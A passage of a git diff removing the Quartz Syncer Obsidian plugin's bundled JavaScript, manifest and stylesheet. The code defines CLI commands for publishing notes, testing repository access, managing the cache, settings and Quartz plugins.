i=e.slice(1).trim(),s=(0,gy.prepareFuzzySearch)(i);return{files:t.vault.getFiles().map(a=>({file:a,result:s(a.path)})).filter(a=>a.result!==null).sort((a,l)=>l.result.score-a.result.score).map(a=>a.file),mode:"fuzzy",pattern:i}}if(e.includes("*")||e.includes("?")){let i=e.replace(/\\/g,"/");return{files:t.vault.getFiles().filter(o=>rn(o.path,i)),mode:"glob",pattern:i}}let n=(0,gy.normalizePath)(e),r=t.vault.getFileByPath(n);return{files:r?[r]:[],mode:"exact",pattern:n}}var Va="quartz-syncer:mark",iY={path:{value:"",description:"File path, glob, or fuzzy query (prefix with ~)"},value:{value:"",description:"Publish flag value (default: true)"},"dry-run":{description:"Show matched files without modifying"},format:{value:"",description:"Output format (default: text)"}};function sY(t){return!t||t==="true"?!0:t==="false"?!1:t==="toggle"?"toggle":null}function oY(t){return t===!0||t==="true"||t===1}function AL(t,e){t(Va,"Set or toggle the publish flag for matching files",iY,async n=>{try{let r=typeof n.path=="string"?n.path:"";if(!r)return Q(n,ce(Va,"Missing required flag: path"));let i=sY(typeof n.value=="string"?n.value:void 0);if(i===null)return Q(n,ce(Va,"Invalid value. Use true, false, or toggle."));let s=n["dry-run"]==="true",a=n.verbose==="true"&&n.format!=="json",l=IL(e.app,r),c=e.settings.vaultPath,u=c==="/",f=new Set(["md",...e.settings.useBases?["base"]:[],...e.settings.useCanvas?["canvas"]:[],...e.settings.useExcalidraw?["excalidraw"]:[]]),h=l.files.filter(E=>f.has(E.extension)&&(u||E.path.startsWith(c)));if(h.length===0)return Q(n,ce(Va,"No publishable files matched the provided path."));let d=[],p=[],g=[];for(let E of h)try{let v=new lo(e.app.vault,e.app.metadataCache,E,e.app.fileManager),_;if(i==="toggle"){let C=v.get(e.settings.publishFrontmatterKey);_=!oY(C)}else _=i;s||await v.set(e.settings.publishFrontmatterKey,_).apply(),d.push(E.path),g.push({path:E.path,value:_})}catch(v){p.push({path:E.path,error:v instanceof Error?v.message:String(v)})}let y={mode:l.mode,pattern:l.pattern,dryRun:s,matched:h.map(E=>E.path),updated:d,failed:p,appliedValues:g},w=[s?`Dry run: ${d.length} file${d.length===1?"":"s"} matched`:`Updated ${d.length} file${d.length===1?"":"s"}`,`Mode: ${l.mode}`];p.length>0&&w.push(`Failed: ${p.length} file${p.length===1?"":"s"}`);let b=w.join(". ")+".",S=[`Vault root: ${u?"/":c}`,`All notes publishable: ${e.settings.allNotesPublishableByDefault?"yes":"no"}`],D=a?[b,...S,...y.appliedValues.length>0?y.appliedValues.map(E=>` ${E.path} \u2192 ${E.value}`):[]].join(` -`):b,k=p.length>0?{ok:!1,command:Va,error:D,data:y}:Se(Va,D,y);return Q(n,k)}catch(r){return Q(n,ce(Va,r instanceof Error?r.message:String(r)))}})}m();var od="quartz-syncer:test",aY={format:{value:"",description:"Output format (default: text)"}};function OL(t,e){t(od,"Test repository connection and credentials",aY,async n=>{try{let r=Yt(e);if(r)return Q(n,ce(od,r));let i=e.getGitSettingsWithSecret(),o=n.verbose==="true"&&n.format!=="json",a=new rt({gitSettings:i,contentFolder:e.settings.contentFolder,vaultPath:e.settings.vaultPath}),l=await a.testConnection(),c=l?await rt.checkWriteAccess(i.remoteUrl,i.auth,i.corsProxyUrl):!1,u={repository:a.getRepositoryName(),branch:i.branch,readAccess:l,writeAccess:c},f=l?`Connection OK (read: ${l?"yes":"no"}, write: ${c?"yes":"no"}).`:"Connection failed.",h=[`type: ${i.auth?.type??"unknown"}`];i.auth?.username&&h.push(`username: ${i.auth.username}`);let d=o&&l?[f,`Repository: ${u.repository}`,`Branch: ${u.branch}`,`Auth: ${h.join(", ")}`].join(` -`):f;return Q(n,l?Se(od,d,u):ce(od,d))}catch(r){return Q(n,ce(od,r instanceof Error?r.message:String(r)))}})}m();var PL=require("obsidian");var Vi="quartz-syncer:cache",lY={action:{value:"",description:"Cache operation to perform"},path:{value:"",description:"File path (required for action=clear)"},force:{description:"Skip confirmation for clear-all"},format:{value:"",description:"Output format (default: text)"}};function NL(t,e){t(Vi,"Manage the Quartz Syncer cache",lY,async n=>{try{if(!e.settings.useCache||!e.datastore)return Q(n,ce(Vi,"Cache is disabled."));let i=n.verbose==="true"&&n.format!=="json",s=typeof n.action=="string"?n.action:"";if(!s)return Q(n,ce(Vi,"Missing required flag: action"));if(s==="status"){let o=await e.datastore.allFiles(),a=await e.datastore.getLastUpdateTimestamp(),l={count:o.length,files:o,lastUpdated:a},c=`Cache contains ${o.length} file${o.length===1?"":"s"}.`,u=i&&o.length>0?[c,...o.map(f=>` ${f}`)].join(` -`):c;return Q(n,Se(Vi,u,l))}if(s==="clear"){let o=typeof n.path=="string"?n.path:"";if(!o)return Q(n,ce(Vi,"Missing required flag: path"));let a=(0,PL.normalizePath)(o);await e.datastore.persister.removeItem(e.datastore.fileKey(a)),await e.datastore.setLastUpdateTimestamp(Date.now(),e);let l=`Cache cleared for ${a}.`;return Q(n,Se(Vi,l,{path:a}))}return s==="clear-all"?n.force==="true"?(await e.datastore.recreate(),await e.datastore.setLastUpdateTimestamp(Date.now(),e),Q(n,Se(Vi,"Cache cleared for all files.",{cleared:!0}))):Q(n,ce(Vi,"Clearing all cache requires the 'force' flag.")):Q(n,ce(Vi,"Invalid action. Use status, clear, or clear-all."))}catch(r){return Q(n,ce(Vi,r instanceof Error?r.message:String(r)))}})}m();var nx=require("obsidian");m();var ML=new Set(["__proto__","constructor","prototype"]);function ad(t){return typeof t=="object"&&t!==null&&!Array.isArray(t)}function yy(t,e){let n=e.split(".");if(n.some(i=>ML.has(i)))return;let r=t;for(let i of n){if(!ad(r)||!Object.hasOwn(r,i))return;r=r[i]}return r}function wy(t,e,n){let r=e.split(".");if(r.some(o=>ML.has(o)))return!1;let i=t;for(let o=0;o",description:"Config operation"},key:{value:"",description:"Dot-notation setting key"},value:{value:"",description:"Value for action=set"},format:{value:"",description:"Output format (default: text)"}},uY={"git.remoteUrl":"string","git.branch":"string","git.corsProxyUrl":"string","git.auth.type":"string","git.auth.username":"string","git.providerHint":"string",contentFolder:"string",vaultPath:"string",publishFrontmatterKey:"string",allNotesPublishableByDefault:"boolean",useCache:"boolean",syncCache:"boolean",useDataview:"boolean",useDatacore:"boolean",useExcalidraw:"boolean",useFantasyStatblocks:"boolean",useBases:"boolean",useCanvas:"boolean",frontmatterFormat:"string",diffViewStyle:"string"},fY={"git.auth.type":["none","basic","bearer"],"git.providerHint":["github","gitlab","bitbucket","gitea","custom"],frontmatterFormat:["yaml","json"],diffViewStyle:["split","unified","auto"]};function hY(t,e){return{...t,git:{...t.git,auth:{...t.git.auth,secret:e?"***":void 0}}}}function dY(t,e){return t==="string"?e:e==="true"?!0:e==="false"?!1:null}function RL(t,e){t(Tn,"Read or update Quartz Syncer settings",cY,async n=>{try{let i=n.verbose==="true"&&n.format!=="json",s=typeof n.action=="string"?n.action:"list",o=!!e.getGitSettingsWithSecret().auth?.secret;if(s==="list"){let l=hY(e.settings,o),{cache:c,cacheTimestamp:u,...f}=l,h=Object.entries(ld(f)).map(([d,p])=>`${d}=${p}`).join(` -`);return Q(n,Se(Tn,h,f))}let a=typeof n.key=="string"?n.key:"";if(!a)return Q(n,ce(Tn,"Missing required flag: key"));if(s==="get"){if(a==="git.auth.secret"){let h=o?"***":"not set",d={key:a,value:h},p=`${a}="${h}"`,g=i?`${p} (type: string)`:p;return Q(n,Se(Tn,g,d))}let l=yy(e.settings,a);if(l===void 0)return Q(n,ce(Tn,"Unknown setting key."));let c={key:a,value:l},u=`${a}=${JSON.stringify(l)}`,f=i?`${u} (type: ${typeof l})`:u;return Q(n,Se(Tn,f,c))}if(s==="set"){if(a==="git.auth.secret")return Q(n,ce(Tn,"git.auth.secret cannot be set via CLI."));let l=uY[a];if(!l)return Q(n,ce(Tn,"Setting is not writable via CLI."));if(typeof n.value!="string")return Q(n,ce(Tn,"Missing required flag: value"));let c=n.value,u=dY(l,c);if(u===null)return Q(n,ce(Tn,`Invalid value for ${a}. Expected ${l}.`));let f=fY[a];if(f&&typeof u=="string"&&!f.includes(u))return Q(n,ce(Tn,`Invalid value for ${a}. Expected one of: ${f.join(", ")}.`));let h=u;if(typeof u=="string")if(a==="vaultPath"){let y=u.trim();if(y==="/"||y==="")h="/";else{let w=(0,nx.normalizePath)(y);h=w.endsWith("/")?w:w+"/"}}else a==="contentFolder"&&(h=(0,nx.normalizePath)(u.trim()));if(!wy(e.settings,a,h))return Q(n,ce(Tn,"Failed to set value."));await e.saveSettings();let p={key:a,value:h},g=`Updated ${a}.`;return Q(n,Se(Tn,g,p))}return Q(n,ce(Tn,"Invalid action. Use get, set, or list."))}catch(r){return Q(n,ce(Tn,r instanceof Error?r.message:String(r)))}})}m();var Ha="quartz-syncer:upgrade",mY={force:{description:"Apply upgrade (required)"},"dry-run":{description:"Check for updates without applying"},format:{value:"",description:"Output format (default: text)"}};function zL(t,e){t(Ha,"Upgrade the Quartz repository from upstream",mY,async n=>{try{let r=Yt(e);if(r)return Q(n,ce(Ha,r));let i=e.getGitSettingsWithSecret(),s=new rt({gitSettings:i,contentFolder:e.settings.contentFolder,vaultPath:e.settings.vaultPath}),o=n["dry-run"]==="true",l=n.verbose==="true"&&n.format!=="json",c=(p,g)=>l?[p,`Upstream: ${Kc}#${Zc}`,...g].join(` -`):p;if(o){let p=e.settings.lastUpstreamCommitSha||null,g=await rt.fetchRemoteHeadCommit(Kc,Tk,Zc,i.corsProxyUrl);if(g===null)return Q(n,ce(Ha,"Could not check upstream. The remote may be unreachable."));let y=g!==p,w=y?"Upstream updates available.":"Already up to date.",b=[`Recorded SHA: ${p??"none"}`,`Upstream HEAD: ${g}`],S=c(w,b);return Q(n,Se(Ha,S,{lastUpstreamCommitSha:p??null,upstreamHead:g,hasUpdate:y}))}if(!(n.force==="true"))return Q(n,ce(Ha,"Upgrade requires the 'force' flag."));let f=await s.upgradeFromUpstream(Kc,Zc);f.oid&&e.settings.lastUpstreamCommitSha!==f.oid&&(e.settings.lastUpstreamCommitSha=f.oid,await e.saveSettings());let h=f.alreadyMerged?"Already up to date.":`Upgraded to ${f.oid}.`,d=c(h,[`Upstream SHA: ${f.oid}`,`Recorded SHA: ${e.settings.lastUpstreamCommitSha||"none"}`]);return Q(n,Se(Ha,d,f))}catch(r){return Q(n,ce(Ha,r instanceof Error?r.message:String(r)))}})}m();var LL=require("obsidian");var rx="quartz-syncer:version",pY={format:{value:"",description:"Output format (default: text)"}},gY={"v5-yaml":"quartz.config.yaml","v5-json":"quartz.plugins.json",v4:"quartz.config.ts",unknown:"unknown"};function BL(t,e){t(rx,"Show plugin, Obsidian, and Quartz version information",pY,async n=>{try{let i=n.verbose==="true"&&n.format!=="json",s=e.appVersion,o=LL.apiVersion??"unknown",a="unknown",l=null,c=null;if(!Yt(e)){let b=e.getGitSettingsWithSecret();c=new rt({gitSettings:b,contentFolder:e.settings.contentFolder,vaultPath:e.settings.vaultPath}),a=await ai.detectQuartzVersion(c),l=await ai.getQuartzPackageVersion(c)}let f=l??"unknown",h=a??"unknown",d=gY[h]??"unknown",p=[`Quartz Syncer: ${s}`,`Obsidian: ${o}`,`Quartz: ${f} (${h})`],g=c?[`Repository: ${c.getRepositoryName()}`,`Branch: ${e.settings.git.branch}`,`Quartz config: ${d}`]:["Git: not configured"],y=i?[...p,...g].join(` -`):p.join(` -`);return Q(n,Se(rx,y,{pluginVersion:s,obsidianVersion:o,quartzVersion:l,quartzFormat:h}))}catch(r){return Q(n,ce(rx,r instanceof Error?r.message:String(r)))}})}m();var Fn="quartz-syncer:plugin",yY={action:{value:"",description:"Plugin operation (default: list)"},source:{value:"",description:"Plugin source identifier"},force:{description:"Required for plugin removal"},format:{value:"",description:"Output format (default: text)"}};function wY(t){let e=t.getGitSettingsWithSecret(),n=new rt({gitSettings:e,contentFolder:t.settings.contentFolder,vaultPath:t.settings.vaultPath});return new So(n)}function bY(t,e){let n=[];for(let r of t){let i=Vn(r.source),s=r.enabled?"enabled":"disabled",o=r.order??Wg;n.push(`${i} [${s}] (order: ${o})`),e&&(n.push(` Source: ${Dn(r.source)}`),n.push(` Options: ${JSON.stringify(r.options??{})}`))}return n.join(` -`)}function vY(t,e){let n=[];for(let r of t){let i=r.hasUpdate?"update available":"up to date";n.push(`${r.name} [${i}]`),e&&(n.push(` Locked: ${r.lockedCommit??"none"}`),n.push(` Remote: ${r.remoteCommit??"unknown"}`),r.error&&n.push(` Error: ${r.error}`))}return n.join(` -`)}function kY(t,e){let n=[];for(let r of t){let i=r.official?" [official]":"";n.push(`${r.name} - ${r.description}${i}`),e&&(n.push(` Source: ${Dn(r.source)}`),n.push(` Tags: ${r.tags.join(", ")||"none"}`))}return n.join(` -`)}function $L(t,e){t(Fn,"Manage Quartz v5 plugins",yY,async n=>{try{let i=n.verbose==="true"&&n.format!=="json",s=typeof n.action=="string"?n.action:"list";if(s==="browse"){let f=await new Yc().getPlugins(),h=kY(f,i);return Q(n,Se(Fn,h,{plugins:f}))}let o=Yt(e);if(o)return Q(n,ce(Fn,o));let a=wY(e),l=await a.readConfig();if(s==="list"){let u=bY(l.plugins,i),f={plugins:l.plugins.map(h=>({name:Vn(h.source),sourceKey:Dn(h.source),enabled:h.enabled,order:h.order??Wg,options:h.options??{},source:h.source}))};return Q(n,Se(Fn,u,f))}if(s==="updates"){let u=await a.readLockFile(),f=e.getGitSettingsWithSecret(),d=await new Do(f.auth,f.corsProxyUrl||void 0).checkUpdates(l.plugins,u),p=d.filter(w=>w.hasUpdate),g=i?d:p,y=g.length>0?vY(g,i):"All plugins are up to date.";return Q(n,Se(Fn,y,{updates:d,updatable:p.length}))}if(s==="update"){let u=await a.readLockFile(),f=e.getGitSettingsWithSecret(),p=(await new Do(f.auth,f.corsProxyUrl||void 0).checkUpdates(l.plugins,u)).filter(b=>b.hasUpdate&&b.remoteCommit);if(p.length===0)return Q(n,Se(Fn,"All plugins are up to date.",{updated:0}));if(n.force!=="true"){let b=p.map(S=>S.name).join(", ");return Q(n,ce(Fn,`${p.length} plugin${p.length===1?"":"s"} can be updated (${b}). Use 'force' to apply.`))}let g=u??{version:"1.0.0",plugins:{}};for(let b of p){let S=l.plugins.find(D=>Vn(D.source)===b.name);g.plugins[b.name]?g.plugins[b.name].commit=b.remoteCommit:S&&(g.plugins[b.name]={source:S.source,resolved:Qc(S.source),commit:b.remoteCommit,installedAt:new Date().toISOString()})}await a.writeLockFile(g,`Update ${p.length} plugin${p.length===1?"":"s"}`);let y=p.map(b=>b.name),w=`Updated ${p.length} plugin${p.length===1?"":"s"}: ${y.join(", ")}.`;return Q(n,Se(Fn,w,{updated:p.length,plugins:p.map(b=>({name:b.name,from:b.lockedCommit,to:b.remoteCommit}))}))}let c=typeof n.source=="string"?n.source:"";if(s==="add"){if(!c)return Q(n,ce(Fn,"Missing required flag: source"));let f=new La().addPlugin(l,c),h=Vn(f.source);return await a.writeConfig(l,`Add plugin: ${h}`),Q(n,Se(Fn,`Added plugin ${h}.`,{name:h,source:f.source}))}if(s==="remove"){if(!c)return Q(n,ce(Fn,"Missing required flag: source"));if(n.force!=="true")return Q(n,ce(Fn,"Removing a plugin requires the 'force' flag."));let u=new La,f=Dn(c),h=u.removePlugin(l,f),d=Vn(h.source);return await a.writeConfig(l,`Remove plugin: ${d}`),Q(n,Se(Fn,`Removed plugin ${d}.`,{name:d,source:h.source}))}return Q(n,ce(Fn,"Invalid action. Use list, add, remove, updates, update, or browse."))}catch(r){return Q(n,ce(Fn,r instanceof Error?r.message:String(r)))}})}m();var Gn="quartz-syncer:quartz-config",xY={action:{value:"",description:"Config operation (default: list)"},key:{value:"",description:"Dot-notation config key (e.g., pageTitle, theme.typography.header)"},value:{value:"",description:"New value for action=set"},format:{value:"",description:"Output format (default: text)"}},SY={pageTitle:"string",pageTitleSuffix:"string",enableSPA:"boolean",enablePopovers:"boolean",locale:"string",baseUrl:"string","theme.fontOrigin":"string","theme.cdnCaching":"boolean","theme.typography.header":"string","theme.typography.body":"string","theme.typography.code":"string","theme.colors.lightMode.light":"string","theme.colors.lightMode.lightgray":"string","theme.colors.lightMode.gray":"string","theme.colors.lightMode.darkgray":"string","theme.colors.lightMode.dark":"string","theme.colors.lightMode.secondary":"string","theme.colors.lightMode.tertiary":"string","theme.colors.lightMode.highlight":"string","theme.colors.lightMode.textHighlight":"string","theme.colors.darkMode.light":"string","theme.colors.darkMode.lightgray":"string","theme.colors.darkMode.gray":"string","theme.colors.darkMode.darkgray":"string","theme.colors.darkMode.dark":"string","theme.colors.darkMode.secondary":"string","theme.colors.darkMode.tertiary":"string","theme.colors.darkMode.highlight":"string","theme.colors.darkMode.textHighlight":"string"},DY=new Set(["googleFonts","local"]);function EY(t,e){return t==="string"?e:e==="true"?!0:e==="false"?!1:null}function UL(t,e){t(Gn,"Read or update Quartz v5 site configuration",xY,async n=>{try{let r=Yt(e);if(r)return Q(n,ce(Gn,r));let i=typeof n.action=="string"?n.action:"list",s=e.getGitSettingsWithSecret(),o=new rt({gitSettings:s,contentFolder:e.settings.contentFolder,vaultPath:e.settings.vaultPath}),a=new So(o);if(i==="list"){let c=await a.readConfig(),u=ld(c.configuration),f=Object.entries(u).map(([h,d])=>`${h}=${d}`).join(` -`);return Q(n,Se(Gn,f,c.configuration))}let l=typeof n.key=="string"?n.key:"";if(!l)return Q(n,ce(Gn,"Missing required flag: key"));if(i==="get"){let c=await a.readConfig(),u=yy(c.configuration,l);if(u===void 0)return Q(n,ce(Gn,"Unknown config key."));let f={key:l,value:u},h=`${l}=${JSON.stringify(u)}`;return Q(n,Se(Gn,h,f))}if(i==="set"){let c=SY[l];if(!c)return Q(n,ce(Gn,"Config key is not writable via CLI."));if(typeof n.value!="string")return Q(n,ce(Gn,"Missing required flag: value"));let u=EY(c,n.value);if(u===null)return Q(n,ce(Gn,`Invalid value for ${l}. Expected ${c}.`));if(l==="theme.fontOrigin"&&typeof u=="string"&&!DY.has(u))return Q(n,ce(Gn,"Invalid value for theme.fontOrigin. Expected googleFonts or local."));let f=await a.readConfig();if(!wy(f.configuration,l,u))return Q(n,ce(Gn,"Failed to set value."));await a.writeConfig(f,`Update Quartz config: ${l}`);let d={key:l,value:u},p=`Updated ${l}.`;return Q(n,Se(Gn,p,d))}return Q(n,ce(Gn,"Invalid action. Use get, set, or list."))}catch(r){return Q(n,ce(Gn,r instanceof Error?r.message:String(r)))}})}m();var jL="quartz-syncer",_Y={format:{value:"",description:"Output format (default: text)"}},qL=`Quartz Syncer CLI \u2014 Manage and publish notes to Quartz from the terminal. - -Usage: obsidian quartz-syncer[:] [flags] - -Commands: - status Show the publish status of all marked notes - sync Publish pending notes and optionally delete removed notes - publish Publish pending notes without deletions - delete Delete removed notes from the remote repository - mark Set or toggle the publish flag for matching files - test Test repository connection and credentials - cache Manage the Quartz Syncer cache - config Read or update Quartz Syncer settings - upgrade Upgrade the Quartz repository from upstream - version Show plugin, Obsidian, and Quartz version information - plugin Manage Quartz v5 plugins - quartz-config Read or update Quartz v5 site configuration - -Global flags (all commands): - format= Output format (default: text) - help, h Show command-specific help - verbose, v Enable detailed output - -Command-specific flags: - dry-run Preview changes (sync, publish, delete, mark, upgrade) - force Required for destructive operations (sync, delete, upgrade, plugin) - -Examples: - obsidian quartz-syncer:status - obsidian quartz-syncer:status format=json - obsidian quartz-syncer:sync force - obsidian quartz-syncer:publish dry-run - obsidian quartz-syncer:mark path="notes/post.md" - obsidian quartz-syncer:mark path="blog/**/*.md" dry-run - obsidian quartz-syncer:config action=get key=git.branch - -Documentation: https://saberzero1.github.io/quartz-syncer-docs/`;function VL(t,e){t(jL,"Show available commands and usage information",_Y,n=>n.format==="json"?Q(n,Se(jL,qL,{commands:[{name:"quartz-syncer:status",description:"Show the publish status of all marked notes"},{name:"quartz-syncer:sync",description:"Publish pending notes and optionally delete removed notes"},{name:"quartz-syncer:publish",description:"Publish pending notes without deletions"},{name:"quartz-syncer:delete",description:"Delete removed notes from the remote repository"},{name:"quartz-syncer:mark",description:"Set or toggle the publish flag for matching files"},{name:"quartz-syncer:test",description:"Test repository connection and credentials"},{name:"quartz-syncer:cache",description:"Manage the Quartz Syncer cache"},{name:"quartz-syncer:config",description:"Read or update Quartz Syncer settings"},{name:"quartz-syncer:upgrade",description:"Upgrade the Quartz repository from upstream"},{name:"quartz-syncer:version",description:"Show plugin, Obsidian, and Quartz version information"},{name:"quartz-syncer:plugin",description:"Manage Quartz v5 plugins"},{name:"quartz-syncer:quartz-config",description:"Read or update Quartz v5 site configuration"}],version:e.appVersion})):qL)}var ix=it(vt());function HL(t){let e=t;if(typeof e.registerCliHandler!="function")return ix.default.debug("Skipping CLI handler registration: registerCliHandler is unavailable."),!1;let n=e.registerCliHandler.bind(e),r=(i,s,o,a)=>{let l=sL(o);n(i,s,l,c=>{let u=iL(c);if(u.help==="true"&&i!=="quartz-syncer"){let f=oL(i,s,o);return u.format==="json"?Q(u,{ok:!0,command:i,message:f}):f}return a(u)})};return VL(r,t),aL(r,t),lL(r,t),cL(r,t),uL(r,t),AL(r,t),OL(r,t),NL(r,t),RL(r,t),zL(r,t),BL(r,t),$L(r,t),UL(r,t),ix.default.info("CLI handlers registered successfully."),!0}var CY={git:{remoteUrl:"",branch:"v4",corsProxyUrl:"",auth:{type:"basic",username:""},providerHint:"github"},vaultPath:"/",githubRepo:void 0,githubUserName:void 0,githubToken:void 0,contentFolder:"content",publishFrontmatterKey:"publish",allNotesPublishableByDefault:!1,showCreatedTimestamp:!0,showUpdatedTimestamp:!0,showPublishedTimestamp:!1,usePermalink:!1,includeAllFrontmatter:!1,frontmatterFormat:"yaml",createdTimestampKey:"created, created_at, date",updatedTimestampKey:"modified, lastmod, updated, last-modified",publishedTimestampKey:"published, publishDate, date",timestampFormat:"MMM dd, yyyy h:mm a",useCache:!0,syncCache:!0,persistCache:!1,cacheTimestamp:0,cache:"{}",useAutoCardLink:!1,useDataview:!0,useDatacore:!1,useExcalidraw:!1,useFantasyStatblocks:!1,useBases:!1,useCanvas:!1,manageSyncerStyles:!0,lastUsedSettingsTab:"git",noteSettingsIsInitialized:!1,pluginVersion:"",lastUpstreamCommitSha:"",upgradeCheckStrategy:"version",diffViewStyle:"auto",ENABLE_DEVELOPER_TOOLS:!1,logLevel:In.default.OFF};In.default.useDefaults({defaultLevel:In.default.WARN,formatter:function(t,e){t.unshift(new Date().toUTCString()),t.unshift("QS: ")}});var by=class extends bs.Plugin{settings;appVersion;datastore;secretStorageService;extendedCache;publishModal;async onload(){this.appVersion=this.manifest.version,await this.loadSettings(),this.extendedCache=new hy(this.app),this.settings.logLevel&&In.default.setLevel(this.settings.logLevel),In.default.info("Initializing QuartzSyncer plugin v"+this.appVersion),In.default.info("Quartz Syncer log level set to "+In.default.getLevel().name),this.addSettingTab(new ty(this.app,this)),await this.addCommands(),HL(this),this.addRibbonIcon("leaf","Quartz Syncer publication center",async()=>{this.openPublishModal()})}onunload(){this.extendedCache?.destroy(),this.settings.persistCache||this.clearCacheForAllFiles(!0),super.onunload()}async onExternalSettingsChange(){In.default.info("External settings change detected, reloading settings."),await this.compareDataToCache()}async loadSettings(){this.settings=Object.assign({},CY,await this.loadData()),this.migrateGitHubSettings(),this.migrateRemovedThemesTab(),this.secretStorageService=new Gc(this.app),await this.secretStorageService.migrateFromSettings(this.settings,()=>this.saveSettings()),!this.datastore&&this.settings.useCache&&(this.datastore=new cy(this.app.vault.getName(),this.manifest.id,this.appVersion)),(!this.settings||this.settings.pluginVersion!==this.appVersion)&&(await this.clearCacheForAllFiles(!0),this.settings.pluginVersion=this.appVersion),await this.compareDataToCache()}migrateGitHubSettings(){let e=this.settings,n=e.githubRepo||e.githubUserName||e.githubToken,r=this.settings.git?.remoteUrl;if(n&&!r){In.default.info("Migrating legacy GitHub settings to generic Git settings");let i=e.githubRepo||"quartz",s=e.githubUserName||"",o=e.githubToken||"";this.settings.git={remoteUrl:s?`https://github.com/${s}/${i}.git`:"",branch:"v4",corsProxyUrl:"",auth:{type:"basic",username:s,secret:o},providerHint:"github"},this.settings.lastUsedSettingsTab==="github"&&(this.settings.lastUsedSettingsTab="git"),e.githubRepo=void 0,e.githubUserName=void 0,e.githubToken=void 0}}migrateRemovedThemesTab(){let e=this.settings;"useThemes"in e&&delete e.useThemes,this.settings.lastUsedSettingsTab==="themes"&&(this.settings.lastUsedSettingsTab="git")}async saveSettings(){await this.saveData(this.settings)}getGitSettingsWithSecret(){return{...this.settings.git,auth:{...this.settings.git.auth,secret:this.secretStorageService.getToken()||void 0}}}async addCommands(){this.addCommand({id:"open-publish-modal",name:"Open publication center",callback:async()=>{this.openPublishModal()}}),this.addCommand({id:"mark-note-for-publish",name:"Add publication flag",callback:async()=>{this.setPublishFlagValue(!0)}}),this.addCommand({id:"unmark-note-for-publish",name:"Remove publication flag",callback:async()=>{this.setPublishFlagValue(!1)}}),this.addCommand({id:"mark-toggle-publish-status",name:"Toggle publication flag",callback:async()=>{this.togglePublishFlag()}}),this.settings.useCache&&(this.addCommand({id:"clear-cache-for-active-file",name:"Clear cache for active file",callback:async()=>{await this.clearCacheForActiveFile()}}),this.addCommand({id:"clear-cache-for-all-files",name:"Clear cache for all files",callback:async()=>{await this.clearCacheForAllFiles()}}))}getActiveFile(e){let n=e.getActiveFile();return n||(new bs.Notice("Quartz Syncer: No file is open/active. Please open a file and try again."),null)}async clearCacheForActiveFile(){let e=this.getActiveFile(this.app.workspace);if(!e)return;let n=`file:${e.path}`;this.settings.useCache?(await this.datastore.persister.removeItem(n),this.settings.cacheTimestamp=Date.now(),await this.saveSettings(),await this.datastore.setLastUpdateTimestamp(this.settings.cacheTimestamp,this),In.default.info(`Cache cleared for file: ${e.path}`),new bs.Notice(`Quartz Syncer: Cache cleared for file: ${e.path}`)):(In.default.warn("Cache is disabled, no action taken."),new bs.Notice("Quartz Syncer: Cache is disabled, no action taken."))}async clearCacheForAllFiles(e=!1){if(e)this.datastore&&(this.settings.cache="{}",this.settings.cacheTimestamp=Date.now(),await this.saveSettings(),await this.datastore.persister.clear(),await this.datastore.dropOutdatedCache());else{if(!confirm("Are you sure you want to clear the Quartz Syncer cache for all files? This action cannot be undone.")){In.default.info("Cache clearing cancelled by user."),new bs.Notice("Quartz Syncer: Cache clearing cancelled.");return}this.settings.useCache?(this.settings.cache="{}",this.settings.cacheTimestamp=Date.now(),await this.saveSettings(),await this.datastore.setLastUpdateTimestamp(this.settings.cacheTimestamp,this),await this.datastore.recreate(),In.default.info("Cache cleared for all files."),new bs.Notice("Quartz Syncer: Cache cleared for all files.")):(In.default.warn("Cache is disabled, no action taken."),new bs.Notice("Quartz Syncer: Cache is disabled, no action taken."))}}async setPublishFlagValue(e){let n=this.getActiveFile(this.app.workspace);if(!n)return;new lo(this.app.vault,this.app.metadataCache,n,this.app.fileManager).set(this.settings.publishFrontmatterKey,e).apply()}async togglePublishFlag(){let e=this.getActiveFile(this.app.workspace);if(!e)return;let n=new lo(this.app.vault,this.app.metadataCache,e,this.app.fileManager);n.set(this.settings.publishFrontmatterKey,!n.get(this.settings.publishFrontmatterKey)).apply()}openPublishModal(){if(!this.publishModal){let e=new Sn(this.app.metadataCache,this.settings,this.getGitSettingsWithSecret()),n=new cr(this.app,this,this.app.vault,this.app.metadataCache,this.settings,this.datastore,this.extendedCache),r=new fr(e,n);this.publishModal=new Wp(this.app,r,n,e,this.settings)}this.publishModal.open()}async compareDataToCache(){if(!this.settings.useCache||!this.settings.syncCache)return;let e=await this.datastore.getLastUpdateTimestamp();e===null&&(e=0),e *) - -buffer/index.js: - (*! - * The buffer module from node.js, for the browser. - * - * @author Feross Aboukhadijeh - * @license MIT - *) - -js-logger/src/logger.js: - (*! - * js-logger - http://github.com/jonnyreeves/js-logger - * Jonny Reeves, http://jonnyreeves.co.uk/ - * js-logger may be freely distributed under the MIT license. - *) - -safe-buffer/index.js: -safe-buffer/index.js: - (*! safe-buffer. MIT License. Feross Aboukhadijeh *) - -crc-32/crc32.js: - (*! crc32.js (C) 2014-present SheetJS -- http://sheetjs.com *) - -isomorphic-git/index.cjs: - (*! - * This code for `path.join` is directly copied from @zenfs/core/path for bundle size improvements. - * SPDX-License-Identifier: LGPL-3.0-or-later - * Copyright (c) James Prevett and other ZenFS contributors. - *) -*/ - -/* nosourcemap */ \ No newline at end of file diff --git a/.obsidian/plugins/quartz-syncer/manifest.json b/.obsidian/plugins/quartz-syncer/manifest.json deleted file mode 100644 index 3d0f442..0000000 --- a/.obsidian/plugins/quartz-syncer/manifest.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "id": "quartz-syncer", - "name": "Quartz Syncer", - "version": "1.15.3", - "minAppVersion": "1.12.4", - "description": "Manage and publish your notes to Quartz, the fast, batteries-included static-site generator.", - "author": "Emile Bangma", - "authorUrl": "https://github.com/saberzero1", - "fundingUrl": { - "Buy Me a Coffee": "https://buymeacoffee.com/saberzero1", - "GitHub Sponsor": "https://github.com/sponsors/saberzero1", - "Ko-Fi": "https://ko-fi.com/saberzero1" - }, - "isDesktopOnly": false -} diff --git a/.obsidian/plugins/quartz-syncer/styles.css b/.obsidian/plugins/quartz-syncer/styles.css deleted file mode 100644 index 2beefbe..0000000 --- a/.obsidian/plugins/quartz-syncer/styles.css +++ /dev/null @@ -1,719 +0,0 @@ -/* Quartz Syncer Publication Center */ -.quartz-syncer-publisher-title-separator { - margin-top: 0; - margin-bottom: 15px; -} - -.quartz-syncer-publisher-footer-separator { - margin-top: 15px; - margin-bottom: 15px; -} - -.quartz-syncer-publisher-footer { - display: flex; - justify-content: flex-end; - position: sticky; - bottom: 0; -} - -.quartz-syncer-publisher-loading-msg { - font-size: var(--font-ui-larger); - display: flex; - flex-grow: 0; /* Prevnets the loading message from stretching the 